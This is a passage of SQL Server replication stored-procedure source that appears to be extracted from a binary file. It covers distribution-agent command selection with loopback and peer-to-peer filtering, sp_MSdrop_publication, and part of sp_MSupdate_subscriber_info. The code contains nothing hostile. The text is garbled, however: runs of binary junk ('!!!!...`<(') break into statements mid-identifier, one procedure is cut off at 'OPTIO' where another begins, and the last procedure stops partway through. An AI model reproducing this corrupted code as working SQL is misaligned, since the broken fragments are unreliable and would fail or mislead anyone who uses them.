        --
        select @undelivered_commands = count(*)
        from MSrepl_commands rc WITH (NOLOCK) 
            JOIN dbo.MSsubscriptions s
                ON (rc.article_id = s.article_id 
                    AND rc.publisher_database_id=s.publisher_database_id )
        where

        s.agent_id = @agent_id and
        s.status = @active_status and
        rc.publisher_database_id = @publisher_database_id and
        rc.xact_seqno > @last_xact_seqno and
        rc.xact_seqno <= @max_xact_seqno and
        -- If log based transaction, we do
        -- 1. only select tran later than sub pub seqno
        -- 2. loopback detection
        (((rc.type & @snapshot_bit) <> @snapshot_bit and
        rc.xact_seqno > s.publisher_seqno and
        rc.xact_seqno > s.ss_cplt_seqno and
        --
        -- Loopback detection
        --
        (s.loopback_detection = 0 
            or (@originator_id != 0 
            	and rc.originator_id <> @originator_id)
            or @originator_id = 0)) or 
        -- If snapshot transaction, we do
        -- 1. filter out the  snapshot transactions that were inserted later that is not
        -- the subscription's snapshot transaction
        -- 2. filter out trigger generation command for non synctran subscription.
        -- Note: don't do loop back detection.
        ((rc.type & @snapshot_bit) = @snapshot_bit and 
        rc.xact_seqno >= s.subscription_seqno and 
        rc.xact_seqno <= s.ss_cplt_seqno and
        (s.update_mode <> @read_only or rc.type <> @synctran_type))) and
        -- Filter out the new command types that we have introduced after 9.0
        (@compatibility_level >= 10000000 or
        (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
        (105)) and
        -- Filter out the new command types that we have introduced after 8.0
        (@compatibility_level >= 9000000 or
        (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
        (13, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 31, 32, 33, 47, 102)) and
        -- Filter out the new command types that we have introduced after 7.0
        (@compatibility_level > 7000000 or
        (rc.type & ~@snapshot_bit) not in 
        (25, 40, 45, 50, 51, 52, 53, 54, 55, 56 ,57, 58, 60, 68, 69))
        --
        -- process undelivered transaction only if @get_count = 1
        -- 
        if (@get_count = 2)
        begin
            select N'undelivered_commands' = @undelivered_commands
        end
        else
        begin
            --
            -- Do second select for undelivered transactions
            -- TBD - see if MSrepl_transactions can be used instead of MSrepl_commands
            --
            select @undelivered_transactions = count(distinct xact_seqno) 
            from MSrepl_commands rc WITH (NOLOCK) 
                JOIN dbo.MSsubscriptions s
                    ON (rc.article_id = s.article_id 
                        AND rc.publisher_database_id=s.publisher_database_id )        
            where

            s.agent_id = @agent_id and
            s.status = @active_status and
            rc.publisher_database_id = @publisher_database_id and
            rc.xact_seqno > @last_xact_seqno and
            rc.xact_seqno <= @max_xact_seqno and
            -- If log based transaction, we do
            -- 1. only select tran later than sub pub seqno
            -- 2. loopback detection
            (((rc.type & @snapshot_bit) <> @snapshot_bit and
            rc.xact_seqno > s.publisher_seqno and
            rc.xact_seqno > s.ss_cplt_seqno and
            --
            -- Loopback detection
            --
            (s.loopback_detection = 0 
                or (@originator_id != 0 
                	and rc.originator_id <> @originator_id)
                or @originator_id = 0)) or 
            -- If snapshot transaction, we do
            -- 1. filter out the  snapshot transactions that were inserted later that is not
            -- the subscription's snapshot transaction
            -- 2. filter out trigger generation command for non synctran subscription.
            -- Note: don't do loop back detection.
            ((rc.type & @snapshot_bit) = @snapshot_bit and 
            rc.xact_seqno >= s.subscription_seqno and 
            rc.xact_seqno <= s.ss_cplt_seqno and
            (s.update_mode <> @read_only or rc.type <> @synctran_type))) and
            -- Filter out the new command types that we have introduced after 9.0
            (@compatibility_level >= 10000000 or
            (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
            (105)) and
            -- Filter out the new command types that we have introduced after 8.0
            (@compatibility_level >= 9000000 or
            (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
            (13, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 31, 32, 33, 47, 102)) and
            -- Filter out the new command types that we have introduced after 7.0
            (@compatibility_level > 7000000 or
            (rc.type & ~@snapshot_bit) not in 
            (25, 40, 45, 50, 51, 52, 53, 54, 55, 56 ,57, 58, 60, 68, 69))
            
            select N'undelivered_commands' = @undelivered_commands,
                   N'undelivered_transactions' = @undelivered_transactions 
        end
                
        return(0)
    end

	-- if this agent is servicing any inactive concurrent sync articles
	-- then return no rows.  The concurrent sync article will be activated
	-- when the SYNCDONE token is written to the distribution db by the logreader
	-- at this point, all log records associated with the sync will be present in 
	-- MSrepl_commands

	if exists( SELECT * FROM dbo.MSsubscriptions s JOIN dbo.MSpublications p 
	           ON( 	s.publisher_id = p.publisher_id and
					s.publisher_db = p.publisher_db and
					s.publication_id = p.publication_id )
			   WHERE
				s.agent_id = @agent_id and
				s.status = @initiate_status and
				(p.sync_method = @concurrent or p.sync_method = @concurrent_c) )
	begin
        select rc.xact_seqno, rc.partial_command, rc.type, 
            rc.command_id, rc.command
            from                
                MSrepl_commands rc
            where 0 = 1
        select @last_xact_seqno
		return 0
	end

    -- Decide on a best query method.
    -- Note: The order of the following queries is important and
    -- not abitrary.
    
    -- Get subscription info
    declare @num_non_active int
    declare @num_article int
    declare @num_loopback int
    declare @max_sub_seqno varbinary(16)
    declare @max_pub_seqno varbinary(16)

    select 
        @num_non_active = sum(case when status <> @active_status then 1 else 0 end),
        @num_article 	= count(*),
        @num_loopback   = sum(case when loopback_detection <> 0 then 1 else 0 end),
        @max_sub_seqno  = max(subscription_seqno),
        @max_pub_seqno = max(publisher_seqno)
        from dbo.MSsubscriptions where
            agent_id = @agent_id
            
    if  @last_xact_seqno < @max_sub_seqno or  
        @last_xact_seqno < @max_pub_seqno or 
        @num_non_active <> 0
    -- The agent is still working on snapshot transactions. Need a full join in this case
    begin

        -- Need a work table to remember the set of snapshot transaction 
        -- sequence numbers that need to be applied by this agent, this 
        -- table of subscription sequence numbers can then be used to make 
        -- sure that snapshot control (header/trailer) associated with 
        -- incremental snapshot commands are enumerated
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
	.hvlB       declare @snapshot_seqnos table (subscription_seqno varbinary(16) primary key)

        insert into @snapshot_seqnos 
	        select distinct subscription_seqno
	        	from dbo.MSsubscriptions
	         	where agent_id = @agent_id
	           		and subscription_seqno > @last_xact_seqno

		 -- in case of @last_xact_seqno = 0x0 we can adjust it to the
		 -- min subscription_seqno of of all articles for this subscriptions minus one.
		 -- This will boost perf.
		 if (@last_xact_seqno = 0x0)
         begin
                  select @last_xact_seqno = CONVERT(varbinary(16),min(subscription_seqno))
                  from @snapshot_seqnos

				  if(@last_xact_seqno = 0x0 or @last_xact_seqno is null)
					select @last_xact_seqno = 0x0;
				  else -- dec 1
				  begin
					  declare @low as bigint
					  declare @high as bigint
					  select @high = substring(@last_xact_seqno,1,8)
					  select @low = substring(@last_xact_seqno,9,8)
					  if(@low <> 0)
						select @low = @low - 1
					  else
					  begin
						select @high=@high - 1
						select @low = 0xFFFFFFFFFFFFFFFFFFFF
					  end

					  select @last_xact_seqno = convert(varbinary(16),@high) + convert(varbinary(16),@low) 
				  end
          end 

        -- no loopback and no PeerToPeer publications
        if @originator_id = 0 and @IsP2PAgent = 0
        begin
            -- Join with every thing but no loop back
            select rc.xact_seqno, rc.partial_command, rc.type, 
                rc.command_id, rc.command, rc.hashkey              
				
                from 
                	MSrepl_commands rc with (INDEX(ucMSrepl_commands))
                	JOIN dbo.MSsubscriptions s with (INDEX(ucMSsubscriptions))
		                -- At end, we use the FASTFIRSTROW option which tends to force
		                -- a nested inner loop join driven from MSrepl_commands
		                ON (rc.article_id = s.article_id AND rc.publisher_database_id=s.publisher_database_id )
                where

                s.agent_id = @agent_id and
                s.status = @active_status and
                rc.publisher_database_id = @publisher_database_id and
                rc.xact_seqno > @last_xact_seqno and
                rc.xact_seqno <= @max_xact_seqno and
                -- If log based transaction, we do
                -- 1. only select tran later than sub pub seqno
				-- 2. only select tran later than ss_cplt_seqno 
                (((rc.type & @snapshot_bit) <> @snapshot_bit and
                rc.xact_seqno > s.publisher_seqno and
				rc.xact_seqno > s.ss_cplt_seqno ) 
				or 
                -- If snapshot transaction, we do
                -- 1. filter out the  snapshot transactions that were inserted later that is not
                -- the subscription's snapshot transaction
                -- 2. filter out trigger generation command for non synctran subscription.
                -- Note: don't do loop back detection.
                ((rc.type & @snapshot_bit) = @snapshot_bit and 
                ((rc.xact_seqno >= s.subscription_seqno and 
				  rc.xact_seqno <= s.ss_cplt_seqno) or 
                 (rc.xact_seqno in (select subscription_seqno from @snapshot_seqnos) and (rc.type & ~@snapshot_bit) in (25, 50, 51, 52, 53, 54, 55, 56 ,57, 58))) and -- Command type list must match that in sp_MSdrop_article
                (s.update_mode <> @read_only or rc.type <> @synctran_type))) and
                -- Filter out the new command types that we have introduced after 9.0
                (@compatibility_level >= 10000000 or
                (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
                (105)) and
                -- Filter out the new command types that we have introduced after 8.0
                (@compatibility_level >= 9000000 or
                (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
                (13, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 31, 32, 33, 47, 100, 101, 102, 104)) and
                -- Filter out the new command types that we have introduced after 7.0
                (@compatibility_level > 7000000 or
                (rc.type & ~@snapshot_bit) not in 
                (25, 40, 45, 50, 51, 52, 53, 54, 55, 56 ,57, 58, 60, 68, 69))
                order by rc.xact_seqno, rc.command_id asc
                OPTION (FAST 1)
        end
        -- PeerToPeer QUERY (with Snapshot Commands)
        else if @IsP2PAgent = 1
		begin
            select rc.xact_seqno, rc.partial_command, rc.type, 
                rc.command_id, rc.command, rc.hashkey,
                -- extra columns for the PeerToPeer resultset
				msro.id, msro.srvname, msro.dbname, msro.publication_id, msro.dbversion, rc.originator_lsn
            from 
            	MSrepl_commands rc with (INDEX(ucMSrepl_commands))
                join dbo.MSsubscriptions s with (INDEX(ucMSsubscriptions))
	                on rc.article_id = s.article_id
                -- needed for PeerToPeer
				left join MSrepl_originators msro with (readpast, INDEX(ucMSrepl_originators))
					on msro.id = rc.originator_id           
				left join MScached_peer_lsns mscpl with (INDEX(ucMScached_peer_lsns))
					on 
					(
						mscpl.agent_id 							= s.agent_id
		       				and mscpl.originator 				= msro.srvname
							and mscpl.originator_db 			= msro.dbname
							and mscpl.originator_publication_id	= msro.publication_id
							and mscpl.originator_db_version		= msro.dbversion
 					)
            where
                s.agent_id = @agent_id and
                s.status = @active_status and
				s.publisher_database_id = @publisher_database_id and
                rc.publisher_database_id = @publisher_database_id and			
                rc.xact_seqno > @last_xact_seqno and
                rc.xact_seqno <= @max_xact_seqno and
                -- If log based transaction, we do
                -- 1. only select tran later than sub pub seqno
                -- 2. perform loop back detection for P2P and
                --    allow all 1073741868 cmds to be replicated
                (((rc.type & @snapshot_bit) <> @snapshot_bit and
                rc.xact_seqno > s.publisher_seqno and
				rc.xact_seqno > s.ss_cplt_seqno
				--
	            -- Loopback detection
	            --
	            -- We send the command for 4 cases:
	            -- 
	            -- 1. We have the originator information and the lsn of the cmd is
				-- greater than the last one we saw for this originator.
				--
				-- 2. This is a snapshot command and the originator id is NULL. This 
				-- would mean that the command qualified via the left join and thus
				-- the originator_lsn must also be NULL. Note that the only time an
				-- originator_id is NULL in P2P should be for snapshot commands
				-- 
				-- 3. The originator_id of the command is not null, it is not the 
				-- subscriber originator_id (@originator_id) and the lsn is null. This
				-- is the case where the meta-data has not yet been inserted at the sub.
				--
	            -- 4.If is a REPL_PEERTOPEERAUTOPROC (1073741868) command type. They  
               	-- are always sent since we guarantee they only come from one source.
				-- also we must send these for the following case:
				-- 		2 Nodes A and B. DDL occurs on A and sends auto-proc to B
				--		Now B must send the procs back to A as a refresh even though
				--		the AutoProcs are marked as coming from A. The procs will
				--		Not be resent by this node because of @last_xact_seqno. This
				--		does mean however that it is possible that another node may
				--		resend. This is ok since the same definition will be used
				and ((not exists(select * from @peer_originator_ids where id = rc.originator_id)
						 and mscpl.originator_lsn < rc.originator_lsn)
					or (rc.originator_id is NULL
						and mscpl.originator_lsn is NULL)
					or (not exists(select * from @peer_originator_ids where id = r!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	JKvlBc.originator_id)
						and mscpl.originator_lsn is NULL)
					or rc.type = 1073741868))
				or 
                -- If snapshot transaction, we do
                -- 1. filter out the  snapshot transactions that were inserted later that is not
                -- the subscription's snapshot transaction
                -- 2. filter out trigger generation command for non synctran subscription.
                -- Note: don't do loop back detection.
                ((rc.type & @snapshot_bit) = @snapshot_bit and 
                ((rc.xact_seqno >= s.subscription_seqno and 
				  rc.xact_seqno <= s.ss_cplt_seqno) or 
                 (rc.xact_seqno in (select subscription_seqno from @snapshot_seqnos) and (rc.type & ~@snapshot_bit) in (25, 50, 51, 52, 53, 54, 55, 56 ,57, 58))) and -- Command type list must match that in sp_MSdrop_article
                (s.update_mode <> @read_only or rc.type <> @synctran_type)))
				-- here we do not require filtering out new commands since this should only
				-- be reached by agents with compatibility levels that are 9.0 or greater
            order by rc.xact_seqno, rc.command_id asc
            OPTION (FAST 1)
		end
        else -- this is loop back detection (NO PeerToPeer)
        begin
            -- Join with every thing with loop back
            select rc.xact_seqno, rc.partial_command, rc.type, 
                rc.command_id, rc.command, rc.hashkey
                from 
                	MSrepl_commands rc with (INDEX(ucMSrepl_commands))
                	JOIN dbo.MSsubscriptions s with (INDEX(ucMSsubscriptions))
		                -- At end, we use the FASTFIRSTROW option which tends to force
		                -- a nested inner loop join driven from MSrepl_commands
		                ON (rc.article_id = s.article_id AND rc.publisher_database_id=s.publisher_database_id )                
                where

                s.agent_id = @agent_id and
                s.status = @active_status and
                rc.publisher_database_id = @publisher_database_id and
                rc.xact_seqno > @last_xact_seqno and
                rc.xact_seqno <= @max_xact_seqno and
                -- If log based transaction, we do
                -- 1. only select tran later than sub pub seqno
                -- 2. loopback detection
                (((rc.type & @snapshot_bit) <> @snapshot_bit and
                rc.xact_seqno > s.publisher_seqno and
				rc.xact_seqno > s.ss_cplt_seqno and
                --
                -- Loopback detection
                --
                (s.loopback_detection = 0 or
                    rc.originator_id <> @originator_id)) or 
                -- If snapshot transaction, we do
                -- 1. filter out the  snapshot transactions that were inserted later that is not
                -- the subscription's snapshot transaction
                -- 2. filter out trigger generation command for non synctran subscription.
                -- Note: don't do loop back detection.
                ((rc.type & @snapshot_bit) = @snapshot_bit and 
                ((rc.xact_seqno >= s.subscription_seqno and 
				  rc.xact_seqno <= s.ss_cplt_seqno) or 
                 (rc.xact_seqno in (select subscription_seqno from @snapshot_seqnos) and (rc.type & ~@snapshot_bit) in (25, 50, 51, 52, 53, 54, 55, 56 ,57, 58))) and -- Command type list must match that in sp_MSdrop_article
                (s.update_mode <> @read_only or rc.type <> @synctran_type))) and
                -- Filter out the new command types that we have introduced after 9.0
                (@compatibility_level >= 10000000 or
                (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
                (105)) and
                -- Filter out the new command types that we have introduced after 8.0
                (@compatibility_level >= 9000000 or
                (rc.type & ~@snapshot_bit & ~@postcmd_bit) not in 
                (13, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 31, 32, 33, 47, 100, 101, 102, 104)) and
                -- Filter out the new command types that we have introduced after 7.0
                (@compatibility_level > 7000000 or
                (rc.type & ~@snapshot_bit) not in 
                (25, 40, 45, 50, 51, 52, 53, 54, 55, 56 ,57, 58, 60, 68, 69))
                order by rc.xact_seqno, rc.command_id asc
                OPTION (FAST 1)
            end
    end
   	-- PeerToPeer QUERY (NO Snapshot Commands)
    else if @IsP2PAgent = 1
    begin
		select rc.xact_seqno, rc.partial_command, rc.type, 
            rc.command_id, rc.command, rc.hashkey, 
            --extra columns for the PeerToPeer resultset
	        msro.id, msro.srvname, msro.dbname, msro.publication_id, msro.dbversion, rc.originator_lsn
            from 
            	MSrepl_commands rc with (nolock, INDEX(ucMSrepl_commands))
                join dbo.MSsubscriptions s with (INDEX(ucMSsubscriptions))
                	on rc.article_id = s.article_id 
                -- needed for PeerToPeer
				left join MSrepl_originators msro with (readpast, INDEX(ucMSrepl_originators))
					on msro.id = rc.originator_id
				left join MScached_peer_lsns mscpl with (INDEX(ucMScached_peer_lsns))
					on 
					(
		       			mscpl.agent_id 							= s.agent_id
		       				and mscpl.originator 				= msro.srvname
							and mscpl.originator_db 			= msro.dbname
							and mscpl.originator_publication_id	= msro.publication_id
							and mscpl.originator_db_version		= msro.dbversion
					)
            where
	            s.agent_id = @agent_id and
	            s.publisher_database_id = @publisher_database_id and
	            rc.publisher_database_id = @publisher_database_id and
	            rc.xact_seqno > @last_xact_seqno and
	            rc.xact_seqno <= @max_xact_seqno and
	            (rc.type & @snapshot_bit) <> @snapshot_bit and
				(rc.type & ~@snapshot_bit) not in ( 37, 38 )
				--
	            -- Loopback detection
	            --
	            -- We send the command for 4 cases:
	            -- 
	            -- 1. We have the originator information and the lsn of the cmd is
				-- greater than the last one we saw for this originator.
				--
				-- 2. This is a snapshot command and the originator id is NULL. This 
				-- would mean that the command qualified via the left join and thus
				-- the originator_lsn must also be NULL. Note that the only time an
				-- originator_id is NULL in P2P should be for snapshot commands
				-- 
				-- 3. The originator_id of the command is not null, it is not the 
				-- subscriber originator_id (@originator_id) and the lsn is null. This
				-- is the case where the meta-data has not yet been inserted at the sub.
				--
				-- 4.If is a REPL_PEERTOPEERAUTOPROC (1073741868) command type. They  
               	-- are always sent since we guarantee they only come from one source.
				-- also we must send these for the following case:
				-- 		2 Nodes A and B. DDL occurs on A and sends auto-proc to B
				--		Now B must send the procs back to A as a refresh even though
				--		the AutoProcs are marked as coming from A. The procs will
				--		Not be resent by this node because of @last_xact_seqno. This
				--		does mean however that it is possible that another node may
				--		resend. This is ok since the same definition will be used
				and ((not exists(select * from @peer_originator_ids where id = rc.originator_id)
						 and mscpl.originator_lsn < rc.originator_lsn)
					or (rc.originator_id is NULL
						and mscpl.originator_lsn is NULL)
					or (not exists(select * from @peer_originator_ids where id = rc.originator_id)
						and mscpl.originator_lsn is NULL)
					or rc.type = 1073741868)
				-- here we do not require filtering out new commands since this should only
				-- be reached by agents with compatibility levels that are 9.0 or greater
            order by rc.xact_seqno, rc.command_id asc
            OPTIO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	vyCREATE PROCEDURE sys.sp_MSdrop_publication
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @alt_snapshot_folder sysname = NULL,
    @cleanup_orphans bit = 0 -- this is set when cleaning up
)
as
begin
    set nocount on

    declare @publisher_id smallint
                ,@publication_id int
                ,@retcode int
                ,@article sysname
                ,@article_id int
                ,@subscriber sysname
                ,@subscriber_db sysname
                ,@thirdparty_flag bit
                ,@working_dir nvarchar(255)
                ,@pub_dir nvarchar(255)

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_publication', 'distribution')
        return (1)
    end

    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Make sure publication exists
    select @publication_id = publication_id, @thirdparty_flag = thirdparty_flag 
        from dbo.MSpublications where publication = @publication and
        publisher_id = @publisher_id and publisher_db = @publisher_db
    if @publication_id is NULL
    begin
        -- We don't know whether or not it is a third party or not so we can not 
        -- return error.
        -- raiserror(20026, 16, -1, @publication)
        -- return (1)
        return (0)
    end

    if (@cleanup_orphans = 0)
    begin
        -- Make sure that there are no subscriptions on the publication.
        if exists (select * from dbo.MSsubscriptions s, dbo.MSpublications p where 
            p.publisher_id = @publisher_id and
            p.publisher_db = @publisher_db and
            p.publication = @publication and
            s.publisher_id = @publisher_id and
            s.publisher_db = @publisher_db and
            s.publication_id = p.publication_id and
            s.subscriber_id >= 0)               -- ignore virtual subscriptions
        begin
            raiserror(14005, 16, -1)
            return(1)
        end
        -- No real subscriptions exist, so delete any virtual subscriptions.
        exec sys.sp_MSdrop_subscription
	        @publisher = @publisher,
	        @publisher_db = @publisher_db,
	        @publication = @publication,
	        @subscriber = null
    end
    else
    begin
        --
        -- cleanup existing subscriptions since we are dropping this publication
        --
        declare #hcsubart cursor LOCAL FAST_FORWARD FOR 
            select s.article_id, upper(ss.name collate database_default), s.subscriber_db
            from dbo.MSsubscriptions as s 
                join dbo.MSpublications as p
                    on s.publisher_id = p.publisher_id
                        and s.publisher_db = p.publisher_db
                        and s.publication_id = p.publication_id
                        and s.subscriber_id >= 0 -- ignore virtual subscriptions
                join sys.servers as ss
                    on s.subscriber_id = ss.server_id
            where p.publisher_id = @publisher_id 
                and p.publisher_db = @publisher_db 
                and p.publication = @publication 

        open #hcsubart
        fetch #hcsubart into @article_id, @subscriber, @subscriber_db
        while (@@fetch_status != -1)
        begin
            exec sys.sp_MSdrop_subscription
                            @publisher = @publisher,
                            @publisher_db = @publisher_db,
                            @subscriber = @subscriber,
                            @article_id = @article_id,
                            @subscriber_db = @subscriber_db,
                            @publication = @publication
            fetch #hcsubart into @article_id, @subscriber, @subscriber_db
        end
        close #hcsubart
        deallocate #hcsubart
        -- delete any virtual subscriptions.
        exec sys.sp_MSdrop_subscription
	        @publisher = @publisher,
	        @publisher_db = @publisher_db,
	        @publication = @publication,
      	        @subscriber = null

    end

    SELECT @working_dir = working_directory FROM msdb..MSdistpublishers
        where UPPER(name) = UPPER(@publisher)

    IF @working_dir IS NOT NULL
    BEGIN
		-- Remove the pub dir under UNC and FTP if it exists
		-- Note: sp_MSreplremoveuncdir will convert unc path to local path.
		-- This is required. Otherwise we will see 'Access denied' error.
        SELECT @pub_dir = @working_dir + '\unc\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 1) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

        SELECT @pub_dir = @working_dir + '\ftp\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 1) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

        SELECT @pub_dir = @working_dir + '\unc\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 0) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

        SELECT @pub_dir = @working_dir + '\ftp\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 0) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

    END

    IF @alt_snapshot_folder IS NOT NULL AND RTRIM(@alt_snapshot_folder) <> N''
    BEGIN

        -- Make sure that alt_snapshot_folder is \ terminated
        IF SUBSTRING(@alt_snapshot_folder,len(@alt_snapshot_folder),1) <> N'\'
        BEGIN
            SELECT @alt_snapshot_folder = @alt_snapshot_folder + N'\'
        END

		-- Remove the pub dir under UNC and FTP if it exists
		-- Note: sp_MSreplremoveuncdir will convert unc path to local path.
		-- This is required. Otherwise we will see 'Access denied' error.
        SELECT @pub_dir = @alt_snapshot_folder + 'unc\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 1) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

        SELECT @pub_dir = @alt_snapshot_folder + 'ftp\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 1) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

        SELECT @pub_dir = @alt_snapshot_folder + 'unc\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 0) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

        SELECT @pub_dir = @alt_snapshot_folder + 'ftp\' + 
                    fn_replcomposepublicationsnapshotfolder(@publisher,@publisher_db,@publication, 0) collate database_default
		exec @retcode = sys.sp_MSreplremoveuncdir @pub_dir, 1
		if @retcode <> 0 or @@error <> 0
			return(1)

    END
    
    begin tran
    save tran MSdrop_publication

    -- Delete all articles if a third party publication
    if @thirdparty_flag = 1 
    begin
        -- Delete !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<D	
%0U Z8CREATE PROCEDURE sys.sp_MSupdate_subscriber_info
(
    @publisher sysname,
    @subscriber sysname,
    @type tinyint = NULL,
    @login sysname = NULL,
    @password nvarchar(524) = '%',
    @commit_batch_size int = NULL,
    @status_batch_size int = NULL,
    @flush_frequency int = NULL,
    @frequency_type int = NULL,
    @frequency_interval int = NULL,
    @frequency_relative_interval int = NULL,
    @frequency_recurrence_factor int = NULL,
    @frequency_subday int = NULL,
    @frequency_subday_interval int = NULL,
    @active_start_time_of_day int = NULL,
    @active_end_time_of_day int = NULL,
    @active_start_date int = NULL,
    @active_end_date int = NULL,
    @retryattempts int = NULL,
    @retrydelay int = NULL,
    @description nvarchar (255) = NULL,
    @security_mode int = NULL
)
AS
begin
   set nocount on
   
   declare @cmd1 nvarchar (255)
   declare @retcode int
   declare @platform_nt binary

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
   select @platform_nt = 0x1

   IF (UPPER(@subscriber) = UPPER(@@SERVERNAME) and ( @platform_nt != platform() & @platform_nt ) and @security_mode = 1)
        BEGIN
            RAISERROR(21038, 16, -1)
            goto FAILED
        END


   begin transaction
   save transaction update_subscriber
   
   /* Check if subscriber exists */
   if not exists (select * from MSsubscriber_info 
                  where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber))
       goto FAILED

   if not exists (select * from MSsubscriber_schedule 
                  where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0)
       goto FAILED    
   
   if @type is not NULL
      update MSsubscriber_info set type = @type 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)
      if @@error <> 0
         goto FAILED

	if @security_mode = 1
	begin
		-- set the password here to newid. by doing
		-- this we will force a reset of the password
		-- to an encrypted invalid password. the encryp
		-- and storing of the password is below...
		
		select @password = newid()
		
		update MSsubscriber_info 
			set security_mode = 1,
				login = N''
			where UPPER(publisher) = UPPER(@publisher) 
				and UPPER(subscriber) = UPPER(@subscriber)
		if @@error <> 0
			goto FAILED
	end
	else if @security_mode = 0
	begin
		update MSsubscriber_info 
			set security_mode = 0
			where UPPER(publisher) = UPPER(@publisher) 
				and UPPER(subscriber) = UPPER(@subscriber)
		if @@error <> 0
			goto FAILED
	end
	else if @security_mode is not NULL
	begin
		raiserror(14109, 16, -1)
		goto FAILED
	end

	if @login is not NULL
	begin
		update MSsubscriber_info 
			set login = @login 
		where UPPER(publisher) = UPPER(@publisher) 
			and UPPER(subscriber) = UPPER(@subscriber)
		if @@error <> 0
			goto FAILED
	end
	
	if isnull(@password, '') <> '%'
	begin
		-- Encrypt the password
		EXEC @retcode = sys.sp_MSreplencrypt @password OUTPUT
		IF @@error <> 0 OR @retcode <> 0
			goto FAILED

		update MSsubscriber_info 
			set password = @password 
			where UPPER(publisher) = UPPER(@publisher) 
				and UPPER(subscriber) = UPPER(@subscriber)
		if @@error <> 0
			goto FAILED
	end
 	
   if @frequency_type is not NULL
      update MSsubscriber_schedule set frequency_type = @frequency_type 
        where  UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @frequency_interval is not NULL
      update MSsubscriber_schedule set frequency_interval = @frequency_interval 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @frequency_relative_interval is not NULL
      update MSsubscriber_schedule set frequency_relative_interval = @frequency_relative_interval 
      where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
       if @@error <> 0
         goto FAILED
   
   if @frequency_recurrence_factor is not NULL
      update MSsubscriber_schedule set frequency_recurrence_factor = @frequency_recurrence_factor 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @frequency_subday is not NULL
      update MSsubscriber_schedule set frequency_subday = @frequency_subday 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @frequency_subday_interval is not NULL
      update MSsubscriber_schedule set frequency_subday_interval = @frequency_subday_interval 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @active_start_time_of_day is not NULL
      update MSsubscriber_schedule set active_start_time_of_day = @active_start_time_of_day 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
   if @active_end_time_of_day is not NULL
      update MSsubscriber_schedule set active_end_time_of_day = @active_end_time_of_day 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 0
      if @@error <> 0
         goto FAILED
   
